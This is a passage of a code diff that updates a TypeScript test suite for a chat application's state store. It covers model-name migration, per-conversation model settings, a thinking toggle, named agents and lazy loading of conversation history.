+ it("migrates a legacy persisted opencode/<model> tab model to opencode-1/<model>", async () => {
+ const ws = fakeSocket();
+ // Seed localStorage with a persisted tab whose model is the OBSOLETE
+ // `opencode/deepseek-v4-flash` namespace.
+ const storage = createFakeStorage();
+ storage.setItem(
+ "dispatch.tabs",
+ JSON.stringify({
+ tabs: [
+ {
+ conversationId: "c-legacy",
+ title: "Legacy",
+ model: "opencode/deepseek-v4-flash",
+ workspaceId: "default",
+ },
+ ],
+ activeConversationId: null,
+ }),
+ );
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl: fakeFetchImpl(),
+ localStorage: storage,
+ });
+ ws.resolveOpen();
+ // After restore, the restored tab's model + the persisted store are migrated.
+ const restored = store.tabs.find((t) => t.conversationId === "c-legacy");
+ expect(restored?.model).toBe("opencode-1/deepseek-v4-flash");
+ expect(store.activeModel).toBe("opencode-1/deepseek-v4-flash");
+ // Issue 7: the migrated tab state is ACTUALLY written back to the storage
+ // adapter immediately (not merely kept in memory) — a re-load is now a no-op.
+ const persisted = JSON.parse(storage.getItem("dispatch.tabs") ?? "") as {
+ tabs: Array<{ conversationId: string; model: string }>;
+ };
+ const persistedModel = persisted.tabs.find((t) => t.conversationId === "c-legacy")?.model;
+ expect(persistedModel).toBe("opencode-1/deepseek-v4-flash");
+ expect(persisted.tabs.some((t) => t.model.startsWith("opencode/"))).toBe(false);
+ store.dispose();
+ });
+
it("draft: sending the first message creates a tab titled from the message", () => {
const ws = fakeSocket();
const store = createAppStore({
@@ -679,7 +909,7 @@ describe("createAppStore", () => {
store.send("first message");
// New tab opens with the default model until the persisted-model fetch resolves.
- expect(store.activeModel).toBe("opencode/deepseek-v4-flash");
+ expect(store.activeModel).toBe("opencode-1/deepseek-v4-flash");
// Wait for the persisted model fetch to resolve.
await vi.waitFor(() => expect(store.activeModel).toBe("openai/gpt-4o"));
@@ -688,12 +918,148 @@ describe("createAppStore", () => {
store.dispose();
});
+ it("fetchOpenConversations stamps tabs with the conversation's persisted model (not the global active model)", async () => {
+ const ws = fakeSocket();
+ const base = fakeFetchImpl();
+ const fetchImpl: typeof fetch = async (
+ input: string | URL | Request,
+ init?: RequestInit,
+ ): Promise<Response> => {
+ const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
+ if (/\/models(\?.*)?$/.test(url)) {
+ return new Response(JSON.stringify({ models: ["opencode-1/deepseek-v4-flash"] }), {
+ status: 200,
+ });
+ }
+ // The authoritative open-conversation list — one conversation whose
+ // persisted model differs from the global activeModel.
+ if (url.includes("/conversations?status=")) {
+ return new Response(
+ JSON.stringify({
+ conversations: [
+ {
+ id: "conv-model",
+ createdAt: 1000,
+ lastActivityAt: 2000,
+ title: "Model conv",
+ status: "idle",
+ workspaceId: "default",
+ model: "openrouter/stealth/ox-alpha",
+ },
+ ],
+ }),
+ { status: 200 },
+ );
+ }
+ return base(input, init);
+ };
+
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl,
+ localStorage: createFakeStorage(),
+ });
+ ws.resolveOpen();
+
+ // global activeModel is the default until anything changes it
+ expect(store.activeModel).toBe("opencode-1/deepseek-v4-flash");
+
+ // fetchOpenConversations (boot reconcile) opens the conversation's tab —
+ // stamped with the PERSISTED model from the list, not activeModel.
+ await vi.waitFor(() => {
+ const tab = store.tabs.find((t) => t.conversationId === "conv-model");
+ expect(tab?.model).toBe("openrouter/stealth/ox-alpha");
+ });
+
+ store.dispose();
+ });
+
+ it("fetchOpenConversations seeds the chat store's cache-timer turn gap from an idle conversation's lastActivityAt", async () => {
+ const ws = fakeSocket();
+ const base = fakeFetchImpl();
+ const fetchImpl: typeof fetch = async (
+ input: string | URL | Request,
+ init?: RequestInit,
+ ): Promise<Response> => {
+ const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
+ if (url.includes("/conversations?status=")) {
+ return new Response(
+ JSON.stringify({
+ conversations: [
+ {
+ id: "conv-seed",
+ createdAt: 1000,
+ lastActivityAt: 7777,
+ title: "Seed conv",
+ status: "idle",
+ workspaceId: "default",
+ model: "claude/claude-opus-4-6",
+ },
+ ],
+ }),
+ { status: 200 },
+ );
+ }
+ if (url.endsWith("/metrics")) {
+ return new Response(JSON.stringify({ turns: [] }), { status: 200 });
+ }
+ return base(input, init);
+ };
+
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl,
+ localStorage: createFakeStorage(),
+ });
+ ws.resolveOpen();
+
+ await vi.waitFor(() => {
+ expect(store.tabs.some((t) => t.conversationId === "conv-seed")).toBe(true);
+ });
+ store.selectTab("conv-seed");
+ expect(store.activeChat.cacheTimer.running).toEqual({
+ kind: "turn",
+ turnId: null,
+ startedAt: 7777,
+ });
+
+ store.dispose();
+ });
+
+ it("conversation.open WS message carrying a model stamps the tab with it", async () => {
+ const ws = fakeSocket();
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl: fakeFetchImpl(),
+ localStorage: createFakeStorage(),
+ });
+ ws.resolveOpen();
+
+ // The user stays on their current (draft) tab; the backend broadcasts
+ // `conversation.open` with the conversation's persisted model.
+ ws.feedServerMessage({
+ type: "conversation.open",
+ conversationId: "conv-ws",
+ workspaceId: "default",
+ model: "openrouter/stealth/ox-alpha",
+ });
+
+ await vi.waitFor(() => {
+ const tab = store.tabs.find((t) => t.conversationId === "conv-ws");
+ expect(tab?.model).toBe("openrouter/stealth/ox-alpha");
+ expect(tab?.workspaceId).toBe("default");
+ });
+
+ store.dispose();
+ });
+
it("chat.delta routes to the matching tab only", () => {
const ws = fakeSocket();
const store = createAppStore({
socketFactory: () => ws,
fetchImpl: fakeFetchImpl(),
localStorage: createFakeStorage(),
+ chatFlushScheduler: null,
});
ws.resolveOpen();
@@ -891,6 +1257,135 @@ describe("createAppStore", () => {
store.dispose();
});
+ it("seeds thinking from GET /conversations/:id/thinking (null = never set ⇒ ON)", async () => {
+ const base = fakeFetchImpl();
+ const fetchImpl: typeof fetch = async (input, init) => {
+ const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
+ if (url.endsWith("/thinking")) {
+ return new Response(JSON.stringify({ conversationId: "x", thinking: false }), {
+ status: 200,
+ headers: { "content-type": "application/json" },
+ });
+ }
+ return base(input, init);
+ };
+ const ws = fakeSocket();
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl,
+ localStorage: createFakeStorage(),
+ });
+ ws.resolveOpen();
+
+ await vi.waitFor(() => {
+ expect(store.thinking).toBe(false);
+ });
+
+ store.dispose();
+ });
+
+ it("treats a missing thinking endpoint (404) as 'never set' (null ⇒ ON)", async () => {
+ // The thinking endpoint is PROPOSED (backend-handoff.md); until the backend
+ // ships it, GET 404s and `thinking` stays null ⇒ the selector shows the
+ // effort level (thinking ON, the default) — graceful, never a crash.
+ const base = fakeFetchImpl();
+ const fetchImpl: typeof fetch = async (input, init) => {
+ const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
+ if (url.endsWith("/thinking")) {
+ return new Response("not found", { status: 404 });
+ }
+ return base(input, init);
+ };
+ const ws = fakeSocket();
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl,
+ localStorage: createFakeStorage(),
+ });
+ ws.resolveOpen();
+
+ // give the (404ing) fetch a tick to settle
+ await vi.waitFor(() => {
+ expect(store.reasoningEffort).not.toBe(undefined);
+ });
+ expect(store.thinking).toBeNull();
+
+ store.dispose();
+ });
+
+ it("treats a SPA-fallback response (200 + text/html) as 'never set' (null ⇒ ON)", async () => {
+ // In production (DISPATCH_WEB_DIR set), unknown API routes get the SPA
+ // fallback: index.html with HTTP 200 + text/html. This must NOT crash
+ // res.json() — it should leave `thinking` null (ON, the default).
+ const base = fakeFetchImpl();
+ const fetchImpl: typeof fetch = async (input, init) => {
+ const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
+ if (url.endsWith("/thinking")) {
+ return new Response("<!DOCTYPE html><html><body>SPA fallback</body></html>", {
+ status: 200,
+ headers: { "content-type": "text/html; charset=utf-8" },
+ });
+ }
+ return base(input, init);
+ };
+ const ws = fakeSocket();
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl,
+ localStorage: createFakeStorage(),
+ });
+ ws.resolveOpen();
+
+ // give the (HTML) fetch a tick to settle
+ await vi.waitFor(() => {
+ expect(store.reasoningEffort).not.toBe(undefined);
+ });
+ expect(store.thinking).toBeNull();
+
+ store.dispose();
+ });
+
+ it("setThinking PUTs the flag and updates local state from the echo", async () => {
+ const calls: { url: string; method: string; body: string | undefined }[] = [];
+ const base = fakeFetchImpl();
+ const fetchImpl: typeof fetch = async (input, init) => {
+ const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
+ calls.push({ url, method: init?.method ?? "GET", body: init?.body as string | undefined });
+ if (url.endsWith("/thinking") && init?.method === "PUT") {
+ const sent = JSON.parse(init.body as string) as { thinking: boolean };
+ return new Response(JSON.stringify({ conversationId: "x", thinking: sent.thinking }), {
+ status: 200,
+ headers: { "content-type": "application/json" },
+ });
+ }
+ if (url.endsWith("/thinking")) {
+ return new Response(JSON.stringify({ conversationId: "x", thinking: null }), {
+ status: 200,
+ headers: { "content-type": "application/json" },
+ });
+ }
+ return base(input, init);
+ };
+ const ws = fakeSocket();
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl,
+ localStorage: createFakeStorage(),
+ });
+ ws.resolveOpen();
+
+ const result = await store.setThinking(false);
+ expect(result).toEqual({ ok: true, thinking: false });
+ expect(store.thinking).toBe(false);
+
+ const put = calls.find((c) => c.method === "PUT" && c.url.endsWith("/thinking"));
+ expect(put).toBeDefined();
+ expect(put?.url).toContain(`/conversations/${store.currentConversationId}/`);
+ expect(JSON.parse(put?.body ?? "{}")).toEqual({ thinking: false });
+
+ store.dispose();
+ });
+
it("does NOT re-scope a scope:'global' surface on conversation switch (no churn)", () => {
const ws = fakeSocket();
const store = createAppStore({
@@ -1112,17 +1607,21 @@ describe("createAppStore", () => {
store.dispose();
});
- it("re-subscribes chat (and resyncs) for every open conversation on reconnect", async () => {
+ it("re-subscribes and resyncs a loaded conversation on reconnect", async () => {
const fetchedUrls: string[] = [];
- const fetchImpl: typeof fetch = async (input: string | URL | Request): Promise<Response> => {
+ const base = fakeFetchImpl();
+ const fetchImpl: typeof fetch = async (
+ input: string | URL | Request,
+ init?: RequestInit,
+ ): Promise<Response> => {
const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
fetchedUrls.push(url);
- if (url.endsWith("/models")) {
- return new Response(JSON.stringify({ models: ["opencode/deepseek-v4-flash"] }), {
+ if (/\/models(\?.*)?$/.test(url)) {
+ return new Response(JSON.stringify({ models: ["opencode-1/deepseek-v4-flash"] }), {
status: 200,
});
}
- return new Response(JSON.stringify({ chunks: [], latestSeq: 0 }), { status: 200 });
+ return base(input, init);
};
const ws = reconnectableSocket();
@@ -1205,9 +1704,6 @@ describe("createAppStore", () => {
status: 200,
});
}
- if (url.includes("/heartbeat")) {
- return new Response(JSON.stringify(config), { status: 200 });
- }
return base(input, init);
};
}
@@ -1223,6 +1719,7 @@ describe("createAppStore", () => {
if (!result.ok) throw new Error("unreachable");
expect(result.config).toEqual({
enabled: true,
+ inactiveOnly: true,
systemPrompt: "sys",
taskPrompt: "task",
intervalMinutes: 15,
@@ -1423,7 +1920,7 @@ describe("createAppStore", () => {
const limits = opts?.limits ?? {
limits: [
{ providerId: "umans", limit: 4 },
- { providerId: "openai-compat", limit: 5 },
+ { providerId: "opencode-1", limit: 5 },
],
};
const limit = opts?.limit ?? { providerId: "umans", limit: 4 };
@@ -1431,7 +1928,7 @@ describe("createAppStore", () => {
providers: [
{ providerId: "umans", limit: 4, inFlight: 2, queued: 1, paused: false },
{
- providerId: "openai-compat",
+ providerId: "opencode-1",
limit: 5,
inFlight: 5,
queued: 3,
@@ -1491,7 +1988,7 @@ describe("createAppStore", () => {
if (!result.ok) throw new Error("unreachable");
expect(result.limits).toEqual([
{ providerId: "umans", limit: 4 },
- { providerId: "openai-compat", limit: 5 },
+ { providerId: "opencode-1", limit: 5 },
]);
store.dispose();
});
@@ -1663,7 +2160,7 @@ describe("createAppStore", () => {
autoReduced: false,
});
expect(result.providers[1]).toMatchObject({
- providerId: "openai-compat",
+ providerId: "opencode-1",
paused: true,
pausedUntil: 1_719_408_000_000,
cooldownMs: 350,
@@ -1969,6 +2466,7 @@ describe("createAppStore — vision settings (global)", () => {
fetchImpl: typeof fetch;
puts: { imageLimit?: number; compactionModel?: string | null }[];
} {
+ const base = fakeFetchImpl();
let current = initial;
const puts: { imageLimit?: number; compactionModel?: string | null }[] = [];
return {
@@ -1976,7 +2474,7 @@ describe("createAppStore — vision settings (global)", () => {
fetchImpl: async (input: string | URL | Request, init?: RequestInit): Promise<Response> => {
const url =
typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
- if (url.endsWith("/models")) {
+ if (/\/models(\?.*)?$/.test(url)) {
return new Response(
JSON.stringify({
models: ["kimi/k2", "umans/glm-5.2"],
@@ -1997,8 +2495,7 @@ describe("createAppStore — vision settings (global)", () => {
}
return new Response(JSON.stringify(current), { status: 200 });
}
- // Default: empty history + no cwd for the other endpoints.
- return new Response(JSON.stringify({ chunks: [], latestSeq: 0 }), { status: 200 });
+ return base(input, init);
},
};
}
@@ -2061,6 +2558,7 @@ describe("createAppStore — vision settings (global)", () => {
});
it("surfaces a PUT error", async () => {
+ const base = fakeFetchImpl();
const fetchImpl: typeof fetch = async (input, init) => {
const url = typeof input === "string" ? input : input instanceof URL ? input.href : input.url;
if (url.endsWith("/settings/vision")) {
@@ -2071,7 +2569,7 @@ describe("createAppStore — vision settings (global)", () => {
status: 200,
});
}
- return new Response(JSON.stringify({ models: [] }), { status: 200 });
+ return base(input, init);
};
const store = createAppStore({
socketFactory: () => fakeSocket(),
@@ -2087,3 +2585,616 @@ describe("createAppStore — vision settings (global)", () => {
store.dispose();
});
});
+
+describe("createAppStore — Named Agents", () => {
+ it("seeds namedAgents from GET /named-agents on boot", async () => {
+ const ws = fakeSocket();
+ const agents: readonly NamedAgent[] = [
+ { id: "na-1", name: "Coding Agent", model: "opencode-1/claude-sonnet-4.5" },
+ ];
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl: fakeFetchImpl({ namedAgents: agents }),
+ localStorage: createFakeStorage(),
+ });
+ ws.resolveOpen();
+
+ await vi.waitFor(() => expect(store.namedAgents).toEqual(agents));
+ store.dispose();
+ });
+
+ it("createNamedAgent appends to the store list", async () => {
+ const ws = fakeSocket();
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl: fakeFetchImpl(),
+ localStorage: createFakeStorage(),
+ });
+ ws.resolveOpen();
+
+ const result = await store.createNamedAgent({ name: "Research", model: "umans/glm" });
+ expect(result.ok).toBe(true);
+ if (result.ok) {
+ expect(result.agent.id).toBe("na-1");
+ expect(store.namedAgents).toHaveLength(1);
+ expect(store.namedAgents[0]?.name).toBe("Research");
+ }
+ store.dispose();
+ });
+
+ it("updateNamedAgent updates the record in place", async () => {
+ const ws = fakeSocket();
+ const agents: readonly NamedAgent[] = [
+ { id: "na-1", name: "Coding Agent", model: "opencode-1/claude-sonnet-4.5" },
+ ];
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl: fakeFetchImpl({ namedAgents: agents }),
+ localStorage: createFakeStorage(),
+ });
+ ws.resolveOpen();
+
+ const result = await store.updateNamedAgent("na-1", {
+ name: "Coding",
+ model: "opencode-1/new",
+ });
+ expect(result.ok).toBe(true);
+ expect(store.namedAgents[0]?.name).toBe("Coding");
+ expect(store.namedAgents[0]?.model).toBe("opencode-1/new");
+ store.dispose();
+ });
+
+ it("deleteNamedAgent removes the record immediately", async () => {
+ const ws = fakeSocket();
+ const agents: readonly NamedAgent[] = [
+ { id: "na-1", name: "Coding Agent", model: "opencode-1/claude-sonnet-4.5" },
+ { id: "na-2", name: "Research Agent", model: "umans/glm" },
+ ];
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl: fakeFetchImpl({ namedAgents: agents }),
+ localStorage: createFakeStorage(),
+ });
+ ws.resolveOpen();
+ await vi.waitFor(() => expect(store.namedAgents).toHaveLength(agents.length));
+
+ const result = await store.deleteNamedAgent("na-1");
+ expect(result.ok).toBe(true);
+ expect(store.namedAgents.map((a) => a.id)).toEqual(["na-2"]);
+ store.dispose();
+ });
+
+ it("selectModel records a Named Agent snapshot on the active conversation", async () => {
+ const ws = fakeSocket();
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl: fakeFetchImpl(),
+ localStorage: createFakeStorage(),
+ });
+ ws.resolveOpen();
+
+ store.selectModel("opencode-1/claude-sonnet-4.5", {
+ namedAgentId: "na-1",
+ namedAgentName: "Coding Agent",
+ model: "opencode-1/claude-sonnet-4.5",
+ });
+
+ expect(store.activeModel).toBe("opencode-1/claude-sonnet-4.5");
+ expect(store.namedAgentSnapshot?.namedAgentName).toBe("Coding Agent");
+ store.dispose();
+ });
+
+ it("selectModel without a snapshot clears a prior Named Agent selection", async () => {
+ const ws = fakeSocket();
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl: fakeFetchImpl(),
+ localStorage: createFakeStorage(),
+ });
+ ws.resolveOpen();
+
+ store.selectModel("opencode-1/claude-sonnet-4.5", {
+ namedAgentId: "na-1",
+ namedAgentName: "Coding Agent",
+ model: "opencode-1/claude-sonnet-4.5",
+ });
+ store.selectModel("openai/gpt-4o");
+
+ expect(store.activeModel).toBe("openai/gpt-4o");
+ expect(store.namedAgentSnapshot).toBeNull();
+ store.dispose();
+ });
+});
+
+describe("conversation load-on-demand", () => {
+ async function setup(
+ ws: WebSocketLike,
+ count = 3,
+ activeConversationId: string | null = "lazy-0",
+ workspaceCount = 1,
+ ) {
+ const storage = createFakeStorage();
+ const conversations = Array.from({ length: count }, (_, i) => ({
+ id: `lazy-${i}`,
+ title: `Conversation ${i}`,
+ model: "openai/gpt-4o",
+ workspaceId: i % workspaceCount === 0 ? "default" : `workspace-${i % workspaceCount}`,
+ status: i === 1 ? "active" : "idle",
+ lastActivityAt: 1234,
+ }));
+ storage.setItem(
+ "dispatch.tabs",
+ JSON.stringify({
+ tabs: conversations.slice(0, Math.ceil(count / 2)).map((c) => ({
+ conversationId: c.id,
+ title: c.title,
+ model: c.model,
+ workspaceId: c.workspaceId,
+ })),
+ activeConversationId,
+ }),
+ );
+ const base = fakeFetchImpl();
+ const fetchImpl = vi.fn<typeof fetch>(async (input, init) => {
+ const url = String(input);
+ if (url.includes("/conversations?status=")) {
+ return Response.json({ conversations });
+ }
+ if (/\/conversations\/[^/?]+\?sinceSeq=/.test(url)) {
+ return Response.json({
+ chunks: [
+ { seq: 1, role: "user", turnId: "t1", chunk: { type: "text", text: "hi" } },
+ { seq: 2, role: "assistant", turnId: "t1", chunk: { type: "text", text: "hello" } },
+ ],
+ historyEpoch: 0,
+ latestSeq: 2,
+ });
+ }
+ if (url.endsWith("/metrics")) return Response.json({ turns: [] });
+ return base(input, init);
+ });
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl,
+ localStorage: storage,
+ indexedDB: new IDBFactory(),
+ chatFlushScheduler: null,
+ });
+ const requests = () =>
+ fetchImpl.mock.calls
+ .map(([url]) => new URL(String(url)).pathname + new URL(String(url)).search)
+ .filter((url) => /\/conversations\/[^/?]+(?:\?sinceSeq=|\/metrics$)/.test(url));
+ await vi.waitFor(() => expect(store.tabs).toHaveLength(Math.ceil(count / workspaceCount)));
+ if (activeConversationId !== null) {
+ await vi.waitFor(() =>
+ expect(requests()).toContain(`/conversations/${activeConversationId}/metrics`),
+ );
+ }
+ return { store, requests };
+ }
+
+ // These exercise 300 real Svelte-backed tabs and count requests, not elapsed
+ // time. Allow contention without shrinking the regression's large-tab fixture.
+ it("boots 300 persisted/discovered tabs with only active history + metrics", async () => {
+ const ws = fakeSocket();
+ const { store, requests } = await setup(ws, 300);
+ try {
+ ws.resolveOpen();
+ expect(requests()).toEqual([
+ "/conversations/lazy-0?sinceSeq=0&limit=192",
+ "/conversations/lazy-0/metrics",
+ ]);
+ expect(
+ parseSent(ws).filter((m) => (m as { type: string }).type === "chat.subscribe"),
+ ).toHaveLength(1);
+ expect(store.tabs[299]?.title).toBe("Conversation 299");
+ expect(store.conversationStatus("lazy-1")).toBe("active");
+ ws.feedServerMessage({
+ type: "conversation.statusChanged",
+ conversationId: "lazy-1",
+ workspaceId: "default",
+ status: "queued",
+ });
+ expect(store.conversationStatus("lazy-1")).toBe("queued");
+ expect(requests()).toHaveLength(2);
+ } finally {
+ store.dispose();
+ }
+ }, 20_000);
+
+ it("discovers 339 conversations across 24 workspaces without subscribing to all of them", async () => {
+ const ws = fakeSocket();
+ const { store } = await setup(ws, 339, "lazy-0", 24);
+ try {
+ ws.resolveOpen();
+ const subscriptions = parseSent(ws).filter(
+ (message) => (message as { type: string }).type === "chat.subscribe",
+ );
+ expect(subscriptions).toEqual([{ type: "chat.subscribe", conversationId: "lazy-0" }]);
+ store.setActiveWorkspace("workspace-1");
+ store.selectTab("lazy-1");
+ expect(parseSent(ws)).toContainEqual({ type: "chat.unsubscribe", conversationId: "lazy-0" });
+ expect(parseSent(ws)).toContainEqual({ type: "chat.subscribe", conversationId: "lazy-1" });
+ } finally {
+ store.dispose();
+ }
+ }, 20_000);
+
+ it("does not load any history while the active slot is a draft", async () => {
+ const { store, requests } = await setup(fakeSocket(), 300, null);
+ try {
+ expect(requests()).toEqual([]);
+ store.selectTab("lazy-0");
+ await vi.waitFor(() => expect(requests()).toContain("/conversations/lazy-0/metrics"));
+ expect(requests()).toHaveLength(2);
+ } finally {
+ store.dispose();
+ }
+ }, 20_000);
+
+ it("loads a tab once while pending and catches up a previously loaded tab on reactivation", async () => {
+ const { store, requests } = await setup(fakeSocket());
+ try {
+ store.selectTab("lazy-2");
+ store.selectTab("lazy-0");
+ store.selectTab("lazy-2");
+ await vi.waitFor(() => expect(requests()).toHaveLength(6));
+ expect(requests().filter((u) => u.includes("lazy-2"))).toHaveLength(2);
+ expect(store.activeChat.cacheTimer.running?.startedAt).toBe(1234);
+ } finally {
+ store.dispose();
+ }
+ });
+
+ it("re-subscribes and resyncs only focused tabs and watches on reconnect", async () => {
+ const ws = reconnectableSocket();
+ const { store, requests } = await setup(ws);
+ try {
+ ws.open();
+ store.watchConversation("lazy-watch");
+ await vi.waitFor(() => expect(requests()).toHaveLength(4));
+ ws.sent.length = 0;
+ const before = requests().length;
+ ws.closeRemote();
+ await new Promise((r) => setTimeout(r, 800));
+ ws.open();
+ await vi.waitFor(() => expect(requests()).toHaveLength(before + 4));
+ expect(
+ requests()
+ .slice(before)
+ .every((u) => /lazy-(0|watch)[/?]/.test(u)),
+ ).toBe(true);
+ expect(
+ parseSent(ws).filter((m) => (m as { type: string }).type === "chat.subscribe"),
+ ).toHaveLength(2);
+ } finally {
+ store.dispose();
+ }
+ });
+
+ it("loads watches, including unloaded tabs, and loads disposed watches again", async () => {
+ const { store, requests } = await setup(fakeSocket());
+ try {
+ const watch = store.watchConversation("lazy-1");
+ store.watchConversation("lazy-1");
+ await vi.waitFor(() => expect(requests()).toHaveLength(4));
+ expect(watch.chunks).toHaveLength(2);
+ store.selectTab("lazy-1");
+ expect(requests()).toHaveLength(4);
+ store.watchConversation("lazy-watch");
+ await vi.waitFor(() => expect(requests()).toHaveLength(6));
+ store.unwatchConversation("lazy-watch");
+ const reopened = store.watchConversation("lazy-watch");
+ await vi.waitFor(() => expect(requests()).toHaveLength(8));
+ expect(reopened.chunks).toHaveLength(2);
+ } finally {
+ store.dispose();
+ }
+ });
+
+ it("merges pre-load live deltas with history without duplicate bubbles", async () => {
+ const ws = fakeSocket();
+ const { store, requests } = await setup(ws);
+ try {
+ ws.resolveOpen();
+ ws.feedServerMessage({
+ type: "chat.delta",
+ event: { type: "turn-start", conversationId: "lazy-1", turnId: "t1" },
+ });
+ ws.feedServerMessage({
+ type: "chat.delta",
+ event: { type: "user-message", conversationId: "lazy-1", turnId: "t1", text: "hi" },
+ });
+ ws.feedServerMessage({
+ type: "chat.delta",
+ event: { type: "text-delta", conversationId: "lazy-1", turnId: "t1", delta: "hello" },
+ });
+ expect(requests()).toHaveLength(2);
+ store.selectTab("lazy-1");
+ expect(store.activeChat.chunks.map((c) => c.chunk)).toEqual([
+ { type: "text", text: "hi" },
+ { type: "text", text: "hello" },
+ ]);
+ await vi.waitFor(() => expect(requests()).toHaveLength(4));
+ expect(store.activeChat.chunks).toHaveLength(2);
+ expect(store.activeChat.chunks.every((c) => !c.provisional)).toBe(true);
+ expect(store.activeChat.generating).toBe(true);
+ } finally {
+ store.dispose();
+ }
+ });
+
+ it("compaction reloads loaded stores but does not load unseen conversations", async () => {
+ const ws = fakeSocket();
+ const { store, requests } = await setup(ws);
+ try {
+ ws.resolveOpen();
+ ws.feedServerMessage({
+ type: "chat.delta",
+ event: { type: "turn-start", conversationId: "lazy-1", turnId: "old" },
+ });
+ ws.feedServerMessage({
+ type: "chat.delta",
+ event: { type: "text-delta", conversationId: "lazy-1", turnId: "old", delta: "stale" },
+ });
+ for (const id of ["lazy-1", "unknown", "lazy-0"]) {
+ ws.feedServerMessage({
+ type: "conversation.compacted",
+ conversationId: id,
+ newConversationId: `${id}-archive`,
+ messagesSummarized: 10,
+ historyEpoch: 0,
+ messagesKept: 2,
+ });
+ }
+ await vi.waitFor(() => expect(requests()).toHaveLength(4));
+ expect(requests().every((u) => u.includes("lazy-0"))).toBe(true);
+ store.selectTab("lazy-1");
+ await vi.waitFor(() => expect(requests()).toHaveLength(6));
+ expect(store.activeChat.chunks).toHaveLength(2);
+ } finally {
+ store.dispose();
+ }
+ });
+
+ it("keeps a watched store loaded when it becomes a tab, and reloads a closed tab", async () => {
+ const ws = fakeSocket();
+ const { store, requests } = await setup(ws);
+ try {
+ ws.resolveOpen();
+ const watch = store.watchConversation("lazy-watch");
+ await vi.waitFor(() => expect(requests()).toHaveLength(4));
+ ws.feedServerMessage({
+ type: "conversation.open",
+ conversationId: "lazy-watch",
+ workspaceId: "default",
+ });
+ store.selectTab("lazy-watch");
+ expect(store.activeChat.chunks).toEqual(watch.chunks);
+ store.unwatchConversation("lazy-watch");
+ expect(requests()).toHaveLength(4);
+ store.newDraft(); // Closing a background tab must not activate/load its neighbor.
+ store.closeTab("lazy-watch");
+ ws.feedServerMessage({
+ type: "conversation.open",
+ conversationId: "lazy-watch",
+ workspaceId: "default",
+ });
+ expect(requests()).toHaveLength(4);
+ store.selectTab("lazy-watch");
+ await vi.waitFor(() => expect(requests()).toHaveLength(6));
+ } finally {
+ store.dispose();
+ }
+ });
+});
+
+it.each([
+ null,
+ {},
+ { conversations: {} },
+])("reports malformed conversation lists: %j", async (body) => {
+ const ws = fakeSocket();
+ const base = fakeFetchImpl();
+ const store = createAppStore({
+ socketFactory: () => ws,
+ indexedDB: new IDBFactory(),
+ localStorage: createFakeStorage(),
+ fetchImpl: async (input, init) =>
+ String(input).includes("/conversations?status=") ? Response.json(body) : base(input, init),
+ });
+ try {
+ ws.resolveOpen();
+ await vi.waitFor(() => expect(store.fatalError).toContain("Invalid conversations response"));
+ } finally {
+ store.dispose();
+ }
+});
+
+describe("compaction queued acknowledgement routing", () => {
+ it.each([
+ "surface-first",
+ "ack-first",
+ "drained-before-ack",
+ ])("uses only authoritative queue snapshots: %s", (order) => {
+ const ws = fakeSocket();
+ const store = createAppStore({
+ socketFactory: () => ws,
+ fetchImpl: fakeFetchImpl(),
+ localStorage: createFakeStorage(),
+ chatFlushScheduler: null,
+ });
+ ws.resolveOpen();
+ store.send("queued text", [{ url: "data:image/png;base64,AAAA" }]);
+ const cid = activeConversationId(store);
+ const send = parseSent(ws).find((m) => (m as { type: string }).type === "chat.send") as {
+ requestId: string;
+ };
+ expect(send.requestId).toEqual(expect.any(String));
+ const sourceChat = store.activeChat;
+ const watch = store.watchConversation("other-conversation");
+ watch.send("unrelated local echo");
+ ws.feedSurfaceMessage({
+ type: "catalog",
+ catalog: [{ id: "message-queue", region: "inline", title: "Queue", scope: "conversation" }],
+ });
+ const spec = (messages: { id: string; text: string; timestamp: number }[]) => ({
+ id: "message-queue",
+ region: "inline",
+ title: "Queue",
+ fields: [{ kind: "custom" as const, rendererId: "message-queue", payload: { messages } }],
+ });
+ const queued = spec([{ id: "q1", text: "queued text", timestamp: 1 }]);
+ const drained = spec([]);
+ const ack = () =>
+ ws.feedServerMessage({
+ type: "chat.queued",
+ conversationId: cid,
+ reason: "compaction",
+ messageId: "q1",
+ requestId: send.requestId,
+ });
+ if (order === "ack-first") {
+ ack();
+ expect(store.surface("message-queue", cid)).toBeNull();
+ }
+ ws.feedSurfaceMessage({ type: "surface", conversationId: cid, spec: queued });
+ expect(store.surface("message-queue", cid)).toEqual(queued);
+ if (order === "drained-before-ack") {
+ ws.feedSurfaceMessage({
+ type: "update",
+ update: { surfaceId: "message-queue", conversationId: cid, spec: drained },
+ });
+ ws.feedServerMessage({
+ type: "chat.delta",
+ event: { type: "turn-start", conversationId: cid, turnId: "t1" },
+ });
+ ws.feedServerMessage({
+ type: "chat.delta",
+ event: { type: "user-message", conversationId: cid, turnId: "t1", text: "queued text" },
+ });
+ }
+ ack();
+ ack();
+ expect(store.surface("message-queue", cid)).toEqual(
+ order === "drained-before-ack" ? drained : queued,
+ );
+ expect(sourceChat.chunks.map((c) => c.chunk)).toEqual(
+ order === "drained-before-ack" ? [{ type: "text", text: "queued text" }] : [],
+ );
+ expect(sourceChat.error).toBeNull();
+ expect(watch.chunks.map((c) => c.chunk)).toEqual([
+ { type: "text", text: "unrelated local echo" },
+ ]);
